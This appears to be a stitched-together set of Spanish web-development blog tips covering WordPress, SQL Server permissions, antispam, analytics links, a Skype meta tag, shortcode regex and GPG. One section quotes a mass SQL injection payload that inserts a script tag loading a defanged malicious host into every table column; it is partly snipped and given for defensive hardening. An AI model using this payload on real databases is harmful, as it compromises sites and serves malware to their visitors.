‘rewrite’ => array(‘slug’ => ‘episodios’)

La solución, es guardar TODAS las “vistas” como utf-8 y en el head de nuestras paginas incoporar el meta: <meta charset=”utf-8″ />

Fuente: http://isc.sans.edu/diary.html?storyid=12127

Se injecta lo siguiente, en varias de las tablas que tengamos.

“></title><script src=”hXXp://lilupophilupop.com/sl.php”></script>

El Script que se corre, segun la fuente que cito es:

declare+@s+varchar(4000)+set+@s=cast(0xset ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in (‘——SNIP——-
IN EXEC(‘UPDATE ['+@T+'] SET ['+@C+']=””></title><script src=”XXXX://lilupophilupop.com/sl.php”></script><!–”+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>””></title><script” ‘) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor+…………….

La primer solución puede ser revisar nuestro usuario de SQL para revisar que tenga solo permisos de datareader y datawriter, y crear un Role para ejecutar Stored Procedures.

Luego, tenemos que revisar nuestra aplicación para analizar todos los inputs de información que tenemos.

Para hacer eso creamos un nuevo ROL y le otorgamos permisos de ejecucion:

/* CREATE A NEW ROLE */
CREATE ROLE db_executor

/* GRANT EXECUTE TO THE ROLE */
GRANT EXECUTE TO db_executor

Luego para el usuario en cuestion le asignamos este nuevo ROLE.

Tener en cuenta que estamos asignando para TODOS los SP, luego debemos customizar para sacar los SP que no querramos.

No quise contratar Akismet, ya que si bien viene por default en WordPress hay que pagar un canon por su utilización.

Hasta llegue a pensar en desarrollar mi propio plugin, utilizando el metódo estadísitico de Bayes para contar la ocurrencia de palabras, y al marcar como Spam manualmente el sistema aprendiera a futuro determinar cuales mensajes eran Spam y cuales no. Pero…no es mi negocio hacer plugins, aunque todavía no descubrí realmente cual és mi negocio.

Finalmente me encontré con un hermoso plugin gratuito: AntispamBee for WordPress

http://antispambee.com/

En el tiempo que tengo instalado el Plugin, detectó 1.542 Comentarios de Spam, ningún falso verdadero y ninguna intervención de mi parte.

Realmente un éxito.

Google Analytics brinda herramientas para tener estadisticas del acceso a nuestro sitio, pero si no hacemos correctamente el newsletter, no sabremos de donde provienen los accesos.

Para ellos hay que agregar información en los Links del newsletter, para que pueda ser filtrado en Analytics.

Google nos da la herramienta URL Builder

La misma nos permite crear los Links de manera sencilla para agregar al diseño de nuestros newsletters.

Cabe destacar que existen herramientas de envío de emails que automatizan ésta tarea, pero para aquellos que todavía hacemos las cosas manualmente, es un buen tip.

Un texto asi: 15-5555-5555-55 para nuestra aplicación y nuestro sitio puede significar un código, un texto, u otra cosa, y no un número telefónico.

Para solucionar ésto, hay que agregar la siguiente línea en nuestro HTML.

<meta name=”SKYPE_TOOLBAR” content=”SKYPE_TOOLBAR_PARSER_COMPATIBLE” />

Fuente: http://forum.skype.com/index.php?showtopic=78380

Imaginen que el content llama a un plugin que utiliza un shortcode (nextgen gallery por ejemplo).  Si traemos el contenido $post->post_content nos va a traer el texto del shortcode.

No voy a mostrar como traer un excerpt o parte del post en su defecto, el código que pongo sirve para ocultar los Shortcodes para que no se vean. Usa expresiones regulares para sacar lo que esté dentro de [ shortcodes ]

$text = preg_replace( ‘|\[(.+?)\](.+?\[/\\1\])?|s’, ”, $text);

Buscando la solución me encontraba siempre con ésta pregunta, por lo cual decidi respondarla, para ayudar a la comunidad.

http://wordpress.org/support/topic/how-to-remove-short-code-from-post-excerpt

archivopassword.txt: archivo que contiene la passphrase

archivo.txt: archivo de salida desencriptado

archivo.gpg: archivo de entrada encriptado con GPG

Certificado:

Asignar nombre de la clave y crear passphrase.